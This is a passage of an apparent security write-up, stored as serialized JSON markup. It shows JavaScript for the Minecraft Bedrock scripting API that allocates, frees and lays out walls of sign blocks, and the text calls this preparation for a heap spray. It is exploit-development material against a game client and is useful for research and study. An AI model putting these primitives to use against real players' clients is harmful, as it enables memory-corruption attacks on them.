continue",{"type":23,"tag":314,"props":149569,"children":149570},{"style":338},[149571],{"type":28,"value":2278},{"type":23,"tag":314,"props":149573,"children":149574},{"class":316,"line":1173},[149575],{"type":23,"tag":314,"props":149576,"children":149577},{"style":338},[149578],{"type":28,"value":2602},{"type":23,"tag":314,"props":149580,"children":149581},{"class":316,"line":1208},[149582],{"type":23,"tag":314,"props":149583,"children":149584},{"emptyLinePlaceholder":18},[149585],{"type":28,"value":1088},{"type":23,"tag":314,"props":149587,"children":149588},{"class":316,"line":1216},[149589,149594,149598,149602,149606,149611,149615,149619,149623,149627,149631,149635,149639,149643],{"type":23,"tag":314,"props":149590,"children":149591},{"style":360},[149592],{"type":28,"value":149593}," sign",{"type":23,"tag":314,"props":149595,"children":149596},{"style":338},[149597],{"type":28,"value":282},{"type":23,"tag":314,"props":149599,"children":149600},{"style":360},[149601],{"type":28,"value":149530},{"type":23,"tag":314,"props":149603,"children":149604},{"style":338},[149605],{"type":28,"value":282},{"type":23,"tag":314,"props":149607,"children":149608},{"style":332},[149609],{"type":28,"value":149610},"setText",{"type":23,"tag":314,"props":149612,"children":149613},{"style":338},[149614],{"type":28,"value":341},{"type":23,"tag":314,"props":149616,"children":149617},{"style":360},[149618],{"type":28,"value":149468},{"type":23,"tag":314,"props":149620,"children":149621},{"style":338},[149622],{"type":28,"value":282},{"type":23,"tag":314,"props":149624,"children":149625},{"style":332},[149626],{"type":28,"value":132465},{"type":23,"tag":314,"props":149628,"children":149629},{"style":338},[149630],{"type":28,"value":341},{"type":23,"tag":314,"props":149632,"children":149633},{"style":360},[149634],{"type":28,"value":123512},{"type":23,"tag":314,"props":149636,"children":149637},{"style":354},[149638],{"type":28,"value":50506},{"type":23,"tag":314,"props":149640,"children":149641},{"style":1054},[149642],{"type":28,"value":3778},{"type":23,"tag":314,"props":149644,"children":149645},{"style":338},[149646],{"type":28,"value":6478},{"type":23,"tag":314,"props":149648,"children":149649},{"class":316,"line":1301},[149650,149654,149658,149662,149666,149670],{"type":23,"tag":314,"props":149651,"children":149652},{"style":360},[149653],{"type":28,"value":149593},{"type":23,"tag":314,"props":149655,"children":149656},{"style":338},[149657],{"type":28,"value":282},{"type":23,"tag":314,"props":149659,"children":149660},{"style":360},[149661],{"type":28,"value":149539},{"type":23,"tag":314,"props":149663,"children":149664},{"style":354},[149665],{"type":28,"value":1237},{"type":23,"tag":314,"props":149667,"children":149668},{"style":321},[149669],{"type":28,"value":11717},{"type":23,"tag":314,"props":149671,"children":149672},{"style":338},[149673],{"type":28,"value":2278},{"type":23,"tag":314,"props":149675,"children":149676},{"class":316,"line":1343},[149677,149681,149685],{"type":23,"tag":314,"props":149678,"children":149679},{"style":2284},[149680],{"type":28,"value":14985},{"type":23,"tag":314,"props":149682,"children":149683},{"style":360},[149684],{"type":28,"value":149501},{"type":23,"tag":314,"props":149686,"children":149687},{"style":338},[149688],{"type":28,"value":2278},{"type":23,"tag":314,"props":149690,"children":149691},{"class":316,"line":1351},[149692],{"type":23,"tag":314,"props":149693,"children":149694},{"style":338},[149695],{"type":28,"value":2610},{"type":23,"tag":314,"props":149697,"children":149698},{"class":316,"line":1387},[149699],{"type":23,"tag":314,"props":149700,"children":149701},{"emptyLinePlaceholder":18},[149702],{"type":28,"value":1088},{"type":23,"tag":314,"props":149704,"children":149705},{"class":316,"line":1422},[149706,149710,149714,149719,149723,149728],{"type":23,"tag":314,"props":149707,"children":149708},{"style":360},[149709],{"type":28,"value":30687},{"type":23,"tag":314,"props":149711,"children":149712},{"style":338},[149713],{"type":28,"value":282},{"type":23,"tag":314,"props":149715,"children":149716},{"style":332},[149717],{"type":28,"value":149718},"warn",{"type":23,"tag":314,"props":149720,"children":149721},{"style":338},[149722],{"type":28,"value":341},{"type":23,"tag":314,"props":149724,"children":149725},{"style":1245},[149726],{"type":28,"value":149727},"\"No more allocs\"",{"type":23,"tag":314,"props":149729,"children":149730},{"style":338},[149731],{"type":28,"value":1025},{"type":23,"tag":314,"props":149733,"children":149734},{"class":316,"line":1430},[149735,149739,149743],{"type":23,"tag":314,"props":149736,"children":149737},{"style":2284},[149738],{"type":28,"value":16228},{"type":23,"tag":314,"props":149740,"children":149741},{"style":321},[149742],{"type":28,"value":38585},{"type":23,"tag":314,"props":149744,"children":149745},{"style":338},[149746],{"type":28,"value":2278},{"type":23,"tag":314,"props":149748,"children":149749},{"class":316,"line":1452},[149750],{"type":23,"tag":314,"props":149751,"children":149752},{"style":338},[149753],{"type":28,"value":386},{"type":23,"tag":314,"props":149755,"children":149756},{"class":316,"line":1497},[149757],{"type":23,"tag":314,"props":149758,"children":149759},{"emptyLinePlaceholder":18},[149760],{"type":28,"value":1088},{"type":23,"tag":314,"props":149762,"children":149763},{"class":316,"line":1539},[149764],{"type":23,"tag":314,"props":149765,"children":149766},{"style":374},[149767],{"type":28,"value":149768},"// Free an allocated sign in the client\n",{"type":23,"tag":314,"props":149770,"children":149771},{"class":316,"line":1548},[149772,149776,149781,149785,149789],{"type":23,"tag":314,"props":149773,"children":149774},{"style":321},[149775],{"type":28,"value":30625},{"type":23,"tag":314,"props":149777,"children":149778},{"style":332},[149779],{"type":28,"value":149780}," free",{"type":23,"tag":314,"props":149782,"children":149783},{"style":338},[149784],{"type":28,"value":341},{"type":23,"tag":314,"props":149786,"children":149787},{"style":360},[149788],{"type":28,"value":149530},{"type":23,"tag":314,"props":149790,"children":149791},{"style":338},[149792],{"type":28,"value":367},{"type":23,"tag":314,"props":149794,"children":149795},{"class":316,"line":1584},[149796,149800,149804,149808,149812,149816,149820,149824,149828,149832,149836,149840],{"type":23,"tag":314,"props":149797,"children":149798},{"style":2284},[149799],{"type":28,"value":11527},{"type":23,"tag":314,"props":149801,"children":149802},{"style":338},[149803],{"type":28,"value":2324},{"type":23,"tag":314,"props":149805,"children":149806},{"style":360},[149807],{"type":28,"value":149530},{"type":23,"tag":314,"props":149809,"children":149810},{"style":354},[149811],{"type":28,"value":2537},{"type":23,"tag":314,"props":149813,"children":149814},{"style":321},[149815],{"type":28,"value":38585},{"type":23,"tag":314,"props":149817,"children":149818},{"style":354},[149819],{"type":28,"value":22942},{"type":23,"tag":314,"props":149821,"children":149822},{"style":360},[149823],{"type":28,"value":149501},{"type":23,"tag":314,"props":149825,"children":149826},{"style":338},[149827],{"type":28,"value":282},{"type":23,"tag":314,"props":149829,"children":149830},{"style":360},[149831],{"type":28,"value":149539},{"type":23,"tag":314,"props":149833,"children":149834},{"style":354},[149835],{"type":28,"value":2537},{"type":23,"tag":314,"props":149837,"children":149838},{"style":321},[149839],{"type":28,"value":8309},{"type":23,"tag":314,"props":149841,"children":149842},{"style":338},[149843],{"type":28,"value":367},{"type":23,"tag":314,"props":149845,"children":149846},{"class":316,"line":1617},[149847,149851],{"type":23,"tag":314,"props":149848,"children":149849},{"style":2284},[149850],{"type":28,"value":14985},{"type":23,"tag":314,"props":149852,"children":149853},{"style":338},[149854],{"type":28,"value":2278},{"type":23,"tag":314,"props":149856,"children":149857},{"class":316,"line":1625},[149858],{"type":23,"tag":314,"props":149859,"children":149860},{"style":338},[149861],{"type":28,"value":2610},{"type":23,"tag":314,"props":149863,"children":149864},{"class":316,"line":1660},[149865],{"type":23,"tag":314,"props":149866,"children":149867},{"emptyLinePlaceholder":18},[149868],{"type":28,"value":1088},{"type":23,"tag":314,"props":149870,"children":149871},{"class":316,"line":1708},[149872,149877,149881,149885,149889,149893,149897,149902],{"type":23,"tag":314,"props":149873,"children":149874},{"style":360},[149875],{"type":28,"value":149876}," sign",{"type":23,"tag":314,"props":149878,"children":149879},{"style":338},[149880],{"type":28,"value":282},{"type":23,"tag":314,"props":149882,"children":149883},{"style":360},[149884],{"type":28,"value":149530},{"type":23,"tag":314,"props":149886,"children":149887},{"style":338},[149888],{"type":28,"value":282},{"type":23,"tag":314,"props":149890,"children":149891},{"style":332},[149892],{"type":28,"value":149610},{"type":23,"tag":314,"props":149894,"children":149895},{"style":338},[149896],{"type":28,"value":341},{"type":23,"tag":314,"props":149898,"children":149899},{"style":1245},[149900],{"type":28,"value":149901},"\"\"",{"type":23,"tag":314,"props":149903,"children":149904},{"style":338},[149905],{"type":28,"value":1025},{"type":23,"tag":314,"props":149907,"children":149908},{"class":316,"line":1743},[149909,149913,149917,149921,149925,149929],{"type":23,"tag":314,"props":149910,"children":149911},{"style":360},[149912],{"type":28,"value":149876},{"type":23,"tag":314,"props":149914,"children":149915},{"style":338},[149916],{"type":28,"value":282},{"type":23,"tag":314,"props":149918,"children":149919},{"style":360},[149920],{"type":28,"value":149539},{"type":23,"tag":314,"props":149922,"children":149923},{"style":354},[149924],{"type":28,"value":1237},{"type":23,"tag":314,"props":149926,"children":149927},{"style":321},[149928],{"type":28,"value":8309},{"type":23,"tag":314,"props":149930,"children":149931},{"style":338},[149932],{"type":28,"value":2278},{"type":23,"tag":314,"props":149934,"children":149935},{"class":316,"line":1751},[149936],{"type":23,"tag":314,"props":149937,"children":149938},{"emptyLinePlaceholder":18},[149939],{"type":28,"value":1088},{"type":23,"tag":314,"props":149941,"children":149942},{"class":316,"line":1791},[149943,149947,149951,149956,149960,149965],{"type":23,"tag":314,"props":149944,"children":149945},{"style":360},[149946],{"type":28,"value":149876},{"type":23,"tag":314,"props":149948,"children":149949},{"style":338},[149950],{"type":28,"value":282},{"type":23,"tag":314,"props":149952,"children":149953},{"style":360},[149954],{"type":28,"value":149955},"block",{"type":23,"tag":314,"props":149957,"children":149958},{"style":338},[149959],{"type":28,"value":282},{"type":23,"tag":314,"props":149961,"children":149962},{"style":332},[149963],{"type":28,"value":149964},"setPermutation",{"type":23,"tag":314,"props":149966,"children":149967},{"style":338},[149968],{"type":28,"value":2719},{"type":23,"tag":314,"props":149970,"children":149971},{"class":316,"line":1805},[149972,149977,149981,149986,149990,149995],{"type":23,"tag":314,"props":149973,"children":149974},{"style":360},[149975],{"type":28,"value":149976}," BlockPermutation",{"type":23,"tag":314,"props":149978,"children":149979},{"style":338},[149980],{"type":28,"value":282},{"type":23,"tag":314,"props":149982,"children":149983},{"style":332},[149984],{"type":28,"value":149985},"resolve",{"type":23,"tag":314,"props":149987,"children":149988},{"style":338},[149989],{"type":28,"value":341},{"type":23,"tag":314,"props":149991,"children":149992},{"style":1245},[149993],{"type":28,"value":149994},"\"minecraft:air\"",{"type":23,"tag":314,"props":149996,"children":149997},{"style":338},[149998],{"type":28,"value":2414},{"type":23,"tag":314,"props":150000,"children":150001},{"class":316,"line":1818},[150002],{"type":23,"tag":314,"props":150003,"children":150004},{"style":338},[150005],{"type":28,"value":42907},{"type":23,"tag":314,"props":150007,"children":150008},{"class":316,"line":1873},[150009,150013,150017,150021,150025,150029],{"type":23,"tag":314,"props":150010,"children":150011},{"style":360},[150012],{"type":28,"value":149876},{"type":23,"tag":314,"props":150014,"children":150015},{"style":338},[150016],{"type":28,"value":282},{"type":23,"tag":314,"props":150018,"children":150019},{"style":360},[150020],{"type":28,"value":132215},{"type":23,"tag":314,"props":150022,"children":150023},{"style":354},[150024],{"type":28,"value":1237},{"type":23,"tag":314,"props":150026,"children":150027},{"style":321},[150028],{"type":28,"value":11717},{"type":23,"tag":314,"props":150030,"children":150031},{"style":338},[150032],{"type":28,"value":2278},{"type":23,"tag":314,"props":150034,"children":150035},{"class":316,"line":1891},[150036],{"type":23,"tag":314,"props":150037,"children":150038},{"style":338},[150039],{"type":28,"value":386},{"type":23,"tag":24,"props":150041,"children":150042},{},[150043,150045,150051],{"type":28,"value":150044},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":94,"props":150046,"children":150048},{"className":150047},[],[150049],{"type":28,"value":150050},"signs",{"type":28,"value":150052}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":304,"props":150054,"children":150056},{"code":150055,"language":34864,"meta":7,"className":34862,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[150057],{"type":23,"tag":94,"props":150058,"children":150059},{"__ignoreMap":7},[150060,150075,150082,150098,150115,150122,150184,150246,150253,150269,150277,150299,150325,150350,150370,150399,150411,150418,150426,150448,150482,150489,150509,150525,150541,150557,150569,150577,150584,150591,150598,150605,150621,150636,150643,150702,150761,150768,150783,150791,150819,150847,150855,150862,150881,150908,150915,150922,150937,150944,150951,150958,150965,151021,151033,151040,151047,151108,151120],{"type":23,"tag":314,"props":150061,"children":150062},{"class":316,"line":317},[150063,150067,150071],{"type":23,"tag":314,"props":150064,"children":150065},{"style":321},[150066],{"type":28,"value":11035},{"type":23,"tag":314,"props":150068,"children":150069},{"style":360},[150070],{"type":28,"value":149510},{"type":23,"tag":314,"props":150072,"children":150073},{"style":338},[150074],{"type":28,"value":2278},{"type":23,"tag":314,"props":150076,"children":150077},{"class":316,"line":370},[150078],{"type":23,"tag":314,"props":150079,"children":150080},{"emptyLinePlaceholder":18},[150081],{"type":28,"value":1088},{"type":23,"tag":314,"props":150083,"children":150084},{"class":316,"line":380},[150085,150089,150094],{"type":23,"tag":314,"props":150086,"children":150087},{"style":321},[150088],{"type":28,"value":30625},{"type":23,"tag":314,"props":150090,"children":150091},{"style":332},[150092],{"type":28,"value":150093}," create_wall",{"type":23,"tag":314,"props":150095,"children":150096},{"style":338},[150097],{"type":28,"value":14977},{"type":23,"tag":314,"props":150099,"children":150100},{"class":316,"line":1091},[150101,150106,150110],{"type":23,"tag":314,"props":150102,"children":150103},{"style":360},[150104],{"type":28,"value":150105}," signs",{"type":23,"tag":314,"props":150107,"children":150108},{"style":354},[150109],{"type":28,"value":1237},{"type":23,"tag":314,"props":150111,"children":150112},{"style":338},[150113],{"type":28,"value":150114}," [];\n",{"type":23,"tag":314,"props":150116,"children":150117},{"class":316,"line":1141},[150118],{"type":23,"tag":314,"props":150119,"children":150120},{"emptyLinePlaceholder":18},[150121],{"type":28,"value":1088},{"type":23,"tag":314,"props":150123,"children":150124},{"class":316,"line":1173},[150125,150129,150133,150137,150142,150146,150150,150154,150159,150163,150168,150172,150176,150180],{"type":23,"tag":314,"props":150126,"children":150127},{"style":2284},[150128],{"type":28,"value":2287},{"type":23,"tag":314,"props":150130,"children":150131},{"style":338},[150132],{"type":28,"value":2324},{"type":23,"tag":314,"props":150134,"children":150135},{"style":321},[150136],{"type":28,"value":11035},{"type":23,"tag":314,"props":150138,"children":150139},{"style":360},[150140],{"type":28,"value":150141}," current_y",{"type":23,"tag":314,"props":150143,"children":150144},{"style":354},[150145],{"type":28,"value":1237},{"type":23,"tag":314,"props":150147,"children":150148},{"style":1054},[150149],{"type":28,"value":1201},{"type":23,"tag":314,"props":150151,"children":150152},{"style":338},[150153],{"type":28,"value":16466},{"type":23,"tag":314,"props":150155,"children":150156},{"style":360},[150157],{"type":28,"value":150158},"current_y",{"type":23,"tag":314,"props":150160,"children":150161},{"style":354},[150162],{"type":28,"value":7971},{"type":23,"tag":314,"props":150164,"children":150165},{"style":360},[150166],{"type":28,"value":150167}," WALL_HEIGHT",{"type":23,"tag":314,"props":150169,"children":150170},{"style":338},[150171],{"type":28,"value":16466},{"type":23,"tag":314,"props":150173,"children":150174},{"style":360},[150175],{"type":28,"value":150158},{"type":23,"tag":314,"props":150177,"children":150178},{"style":354},[150179],{"type":28,"value":50520},{"type":23,"tag":314,"props":150181,"children":150182},{"style":338},[150183],{"type":28,"value":367},{"type":23,"tag":314,"props":150185,"children":150186},{"class":316,"line":1208},[150187,150191,150195,150199,150204,150208,150212,150216,150221,150225,150230,150234,150238,150242],{"type":23,"tag":314,"props":150188,"children":150189},{"style":2284},[150190],{"type":28,"value":59828},{"type":23,"tag":314,"props":150192,"children":150193},{"style":338},[150194],{"type":28,"value":2324},{"type":23,"tag":314,"props":150196,"children":150197},{"style":321},[150198],{"type":28,"value":11035},{"type":23,"tag":314,"props":150200,"children":150201},{"style":360},[150202],{"type":28,"value":150203}," current_x",{"type":23,"tag":314,"props":150205,"children":150206},{"style":354},[150207],{"type":28,"value":1237},{"type":23,"tag":314,"props":150209,"children":150210},{"style":1054},[150211],{"type":28,"value":1201},{"type":23,"tag":314,"props":150213,"children":150214},{"style":338},[150215],{"type":28,"value":16466},{"type":23,"tag":314,"props":150217,"children":150218},{"style":360},[150219],{"type":28,"value":150220},"current_x",{"type":23,"tag":314,"props":150222,"children":150223},{"style":354},[150224],{"type":28,"value":7971},{"type":23,"tag":314,"props":150226,"children":150227},{"style":360},[150228],{"type":28,"value":150229}," WALL_WIDTH",{"type":23,"tag":314,"props":150231,"children":150232},{"style":338},[150233],{"type":28,"value":16466},{"type":23,"tag":314,"props":150235,"children":150236},{"style":360},[150237],{"type":28,"value":150220},{"type":23,"tag":314,"props":150239,"children":150240},{"style":354},[150241],{"type":28,"value":50520},{"type":23,"tag":314,"props":150243,"children":150244},{"style":338},[150245],{"type":28,"value":367},{"type":23,"tag":314,"props":150247,"children":150248},{"class":316,"line":1216},[150249],{"type":23,"tag":314,"props":150250,"children":150251},{"emptyLinePlaceholder":18},[150252],{"type":28,"value":1088},{"type":23,"tag":314,"props":150254,"children":150255},{"class":316,"line":1301},[150256,150261,150265],{"type":23,"tag":314,"props":150257,"children":150258},{"style":338},[150259],{"type":28,"value":150260}," [",{"type":23,"tag":314,"props":150262,"children":150263},{"style":354},[150264],{"type":28,"value":8840},{"type":23,"tag":314,"props":150266,"children":150267},{"style":338},[150268],{"type":28,"value":11020},{"type":23,"tag":314,"props":150270,"children":150271},{"class":316,"line":1343},[150272],{"type":23,"tag":314,"props":150273,"children":150274},{"style":338},[150275],{"type":28,"value":150276}," \n",{"type":23,"tag":314,"props":150278,"children":150279},{"class":316,"line":1351},[150280,150285,150290,150294],{"type":23,"tag":314,"props":150281,"children":150282},{"style":321},[150283],{"type":28,"value":150284}," const",{"type":23,"tag":314,"props":150286,"children":150287},{"style":360},[150288],{"type":28,"value":150289}," sign_block",{"type":23,"tag":314,"props":150291,"children":150292},{"style":354},[150293],{"type":28,"value":1237},{"type":23,"tag":314,"props":150295,"children":150296},{"style":360},[150297],{"type":28,"value":150298}," world\n",{"type":23,"tag":314,"props":150300,"children":150301},{"class":316,"line":1387},[150302,150307,150312,150316,150321],{"type":23,"tag":314,"props":150303,"children":150304},{"style":338},[150305],{"type":28,"value":150306}," .",{"type":23,"tag":314,"props":150308,"children":150309},{"style":332},[150310],{"type":28,"value":150311},"getDimension",{"type":23,"tag":314,"props":150313,"children":150314},{"style":338},[150315],{"type":28,"value":341},{"type":23,"tag":314,"props":150317,"children":150318},{"style":1245},[150319],{"type":28,"value":150320},"\"overworld\"",{"type":23,"tag":314,"props":150322,"children":150323},{"style":338},[150324],{"type":28,"value":2414},{"type":23,"tag":314,"props":150326,"children":150327},{"class":316,"line":1422},[150328,150332,150337,150341,150346],{"type":23,"tag":314,"props":150329,"children":150330},{"style":338},[150331],{"type":28,"value":150306},{"type":23,"tag":314,"props":150333,"children":150334},{"style":332},[150335],{"type":28,"value":150336},"getBlock",{"type":23,"tag":314,"props":150338,"children":150339},{"style":338},[150340],{"type":28,"value":341},{"type":23,"tag":314,"props":150342,"children":150343},{"style":360},[150344],{"type":28,"value":150345},"sign_location",{"type":23,"tag":314,"props":150347,"children":150348},{"style":338},[150349],{"type":28,"value":1025},{"type":23,"tag":314,"props":150351,"children":150352},{"class":316,"line":1430},[150353,150358,150362,150366],{"type":23,"tag":314,"props":150354,"children":150355},{"style":360},[150356],{"type":28,"value":150357}," sign_block",{"type":23,"tag":314,"props":150359,"children":150360},{"style":338},[150361],{"type":28,"value":282},{"type":23,"tag":314,"props":150363,"children":150364},{"style":332},[150365],{"type":28,"value":149964},{"type":23,"tag":314,"props":150367,"children":150368},{"style":338},[150369],{"type":28,"value":2719},{"type":23,"tag":314,"props":150371,"children":150372},{"class":316,"line":1452},[150373,150378,150382,150386,150390,150395],{"type":23,"tag":314,"props":150374,"children":150375},{"style":360},[150376],{"type":28,"value":150377}," BlockPermutation",{"type":23,"tag":314,"props":150379,"children":150380},{"style":338},[150381],{"type":28,"value":282},{"type":23,"tag":314,"props":150383,"children":150384},{"style":332},[150385],{"type":28,"value":149985},{"type":23,"tag":314,"props":150387,"children":150388},{"style":338},[150389],{"type":28,"value":341},{"type":23,"tag":314,"props":150391,"children":150392},{"style":1245},[150393],{"type":28,"value":150394},"\"minecraft:wall_sign\"",{"type":23,"tag":314,"props":150396,"children":150397},{"style":338},[150398],{"type":28,"value":48132},{"type":23,"tag":314,"props":150400,"children":150401},{"class":316,"line":1497},[150402,150407],{"type":23,"tag":314,"props":150403,"children":150404},{"style":360},[150405],{"type":28,"value":150406}," facing_direction:",{"type":23,"tag":314,"props":150408,"children":150409},{"style":1054},[150410],{"type":28,"value":18565},{"type":23,"tag":314,"props":150412,"children":150413},{"class":316,"line":1539},[150414],{"type":23,"tag":314,"props":150415,"children":150416},{"style":338},[150417],{"type":28,"value":70324},{"type":23,"tag":314,"props":150419,"children":150420},{"class":316,"line":1548},[150421],{"type":23,"tag":314,"props":150422,"children":150423},{"style":338},[150424],{"type":28,"value":150425}," ));\n",{"type":23,"tag":314,"props":150427,"children":150428},{"class":316,"line":1584},[150429,150434,150439,150443],{"type":23,"tag":314,"props":150430,"children":150431},{"style":321},[150432],{"type":28,"value":150433}," let",{"type":23,"tag":314,"props":150435,"children":150436},{"style":360},[150437],{"type":28,"value":150438}," sign_component",{"type":23,"tag":314,"props":150440,"children":150441},{"style":354},[150442],{"type":28,"value":1237},{"type":23,"tag":314,"props":150444,"children":150445},{"style":360},[150446],{"type":28,"value":150447}," sign_block\n",{"type":23,"tag":314,"props":150449,"children":150450},{"class":316,"line":1617},[150451,150455,150460,150464,150469,150473,150478],{"type":23,"tag":314,"props":150452,"children":150453},{"style":338},[150454],{"type":28,"value":150306},{"type":23,"tag":314,"props":150456,"children":150457},{"style":332},[150458],{"type":28,"value":150459},"getComponent",{"type":23,"tag":314,"props":150461,"children":150462},{"style":338},[150463],{"type":28,"value":341},{"type":23,"tag":314,"props":150465,"children":150466},{"style":360},[150467],{"type":28,"value":150468},"BlockComponentTypes",{"type":23,"tag":314,"props":150470,"children":150471},{"style":338},[150472],{"type":28,"value":282},{"type":23,"tag":314,"props":150474,"children":150475},{"style":360},[150476],{"type":28,"value":150477},"Sign",{"type":23,"tag":314,"props":150479,"children":150480},{"style":338},[150481],{"type":28,"value":1025},{"type":23,"tag":314,"props":150483,"children":150484},{"class":316,"line":1625},[150485],{"type":23,"tag":314,"props":150486,"children":150487},{"emptyLinePlaceholder":18},[150488],{"type":28,"value":1088},{"type":23,"tag":314,"props":150490,"children":150491},{"class":316,"line":1660},[150492,150497,150501,150505],{"type":23,"tag":314,"props":150493,"children":150494},{"style":360},[150495],{"type":28,"value":150496}," signs",{"type":23,"tag":314,"props":150498,"children":150499},{"style":338},[150500],{"type":28,"value":282},{"type":23,"tag":314,"props":150502,"children":150503},{"style":332},[150504],{"type":28,"value":3067},{"type":23,"tag":314,"props":150506,"children":150507},{"style":338},[150508],{"type":28,"value":14382},{"type":23,"tag":314,"props":150510,"children":150511},{"class":316,"line":1708},[150512,150517,150521],{"type":23,"tag":314,"props":150513,"children":150514},{"style":360},[150515],{"type":28,"value":150516}," sign:",{"type":23,"tag":314,"props":150518,"children":150519},{"style":360},[150520],{"type":28,"value":150438},{"type":23,"tag":314,"props":150522,"children":150523},{"style":338},[150524],{"type":28,"value":1870},{"type":23,"tag":314,"props":150526,"children":150527},{"class":316,"line":1743},[150528,150533,150537],{"type":23,"tag":314,"props":150529,"children":150530},{"style":360},[150531],{"type":28,"value":150532}," allocated:",{"type":23,"tag":314,"props":150534,"children":150535},{"style":321},[150536],{"type":28,"value":8309},{"type":23,"tag":314,"props":150538,"children":150539},{"style":338},[150540],{"type":28,"value":1870},{"type":23,"tag":314,"props":150542,"children":150543},{"class":316,"line":1751},[150544,150549,150553],{"type":23,"tag":314,"props":150545,"children":150546},{"style":360},[150547],{"type":28,"value":150548}," block:",{"type":23,"tag":314,"props":150550,"children":150551},{"style":360},[150552],{"type":28,"value":150289},{"type":23,"tag":314,"props":150554,"children":150555},{"style":338},[150556],{"type":28,"value":1870},{"type":23,"tag":314,"props":150558,"children":150559},{"class":316,"line":1791},[150560,150565],{"type":23,"tag":314,"props":150561,"children":150562},{"style":360},[150563],{"type":28,"value":150564}," removed:",{"type":23,"tag":314,"props":150566,"children":150567},{"style":321},[150568],{"type":28,"value":11559},{"type":23,"tag":314,"props":150570,"children":150571},{"class":316,"line":1805},[150572],{"type":23,"tag":314,"props":150573,"children":150574},{"style":338},[150575],{"type":28,"value":150576}," });\n",{"type":23,"tag":314,"props":150578,"children":150579},{"class":316,"line":1818},[150580],{"type":23,"tag":314,"props":150581,"children":150582},{"style":338},[150583],{"type":28,"value":2602},{"type":23,"tag":314,"props":150585,"children":150586},{"class":316,"line":1873},[150587],{"type":23,"tag":314,"props":150588,"children":150589},{"style":338},[150590],{"type":28,"value":2610},{"type":23,"tag":314,"props":150592,"children":150593},{"class":316,"line":1891},[150594],{"type":23,"tag":314,"props":150595,"children":150596},{"style":338},[150597],{"type":28,"value":386},{"type":23,"tag":314,"props":150599,"children":150600},{"class":316,"line":1899},[150601],{"type":23,"tag":314,"props":150602,"children":150603},{"emptyLinePlaceholder":18},[150604],{"type":28,"value":1088},{"type":23,"tag":314,"props":150606,"children":150607},{"class":316,"line":1944},[150608,150612,150617],{"type":23,"tag":314,"props":150609,"children":150610},{"style":321},[150611],{"type":28,"value":30625},{"type":23,"tag":314,"props":150613,"children":150614},{"style":332},[150615],{"type":28,"value":150616}," remove_wall",{"type":23,"tag":314,"props":150618,"children":150619},{"style":338},[150620],{"type":28,"value":14977},{"type":23,"tag":314,"props":150622,"children":150623},{"class":316,"line":2008},[150624,150628,150632],{"type":23,"tag":314,"props":150625,"children":150626},{"style":360},[150627],{"type":28,"value":150105},{"type":23,"tag":314,"props":150629,"children":150630},{"style":354},[150631],{"type":28,"value":1237},{"type":23,"tag":314,"props":150633,"children":150634},{"style":338},[150635],{"type":28,"value":150114},{"type":23,"tag":314,"props":150637,"children":150638},{"class":316,"line":2043},[150639],{"type":23,"tag":314,"props":150640,"children":150641},{"style":338},[150642],{"type":28,"value":61038},{"type":23,"tag":314,"props":150644,"children":150645},{"class":316,"line":22803},[150646,150650,150654,150658,150662,150666,150670,150674,150678,150682,150686,150690,150694,150698],{"type":23,"tag":314,"props":150647,"children":150648},{"style":2284},[150649],{"type":28,"value":2287},{"type":23,"tag":314,"props":150651,"children":150652},{"style":338},[150653],{"type":28,"value":2324},{"type":23,"tag":314,"props":150655,"children":150656},{"style":321},[150657],{"type":28,"value":11035},{"type":23,"tag":314,"props":150659,"children":150660},{"style":360},[150661],{"type":28,"value":150141},{"type":23,"tag":314,"props":150663,"children":150664},{"style":354},[150665],{"type":28,"value":1237},{"type":23,"tag":314,"props":150667,"children":150668},{"style":1054},[150669],{"type":28,"value":1201},{"type":23,"tag":314,"props":150671,"children":150672},{"style":338},[150673],{"type":28,"value":16466},{"type":23,"tag":314,"props":150675,"children":150676},{"style":360},[150677],{"type":28,"value":150158},{"type":23,"tag":314,"props":150679,"children":150680},{"style":354},[150681],{"type":28,"value":7971},{"type":23,"tag":314,"props":150683,"children":150684},{"style":360},[150685],{"type":28,"value":150167},{"type":23,"tag":314,"props":150687,"children":150688},{"style":338},[150689],{"type":28,"value":16466},{"type":23,"tag":314,"props":150691,"children":150692},{"style":360},[150693],{"type":28,"value":150158},{"type":23,"tag":314,"props":150695,"children":150696},{"style":354},[150697],{"type":28,"value":50520},{"type":23,"tag":314,"props":150699,"children":150700},{"style":338},[150701],{"type":28,"value":367},{"type":23,"tag":314,"props":150703,"children":150704},{"class":316,"line":22845},[150705,150709,150713,150717,150721,150725,150729,150733,150737,150741,150745,150749,150753,150757],{"type":23,"tag":314,"props":150706,"children":150707},{"style":2284},[150708],{"type":28,"value":59828},{"type":23,"tag":314,"props":150710,"children":150711},{"style":338},[150712],{"type":28,"value":2324},{"type":23,"tag":314,"props":150714,"children":150715},{"style":321},[150716],{"type":28,"value":11035},{"type":23,"tag":314,"props":150718,"children":150719},{"style":360},[150720],{"type":28,"value":150203},{"type":23,"tag":314,"props":150722,"children":150723},{"style":354},[150724],{"type":28,"value":1237},{"type":23,"tag":314,"props":150726,"children":150727},{"style":1054},[150728],{"type":28,"value":1201},{"type":23,"tag":314,"props":150730,"children":150731},{"style":338},[150732],{"type":28,"value":16466},{"type":23,"tag":314,"props":150734,"children":150735},{"style":360},[150736],{"type":28,"value":150220},{"type":23,"tag":314,"props":150738,"children":150739},{"style":354},[150740],{"type":28,"value":7971},{"type":23,"tag":314,"props":150742,"children":150743},{"style":360},[150744],{"type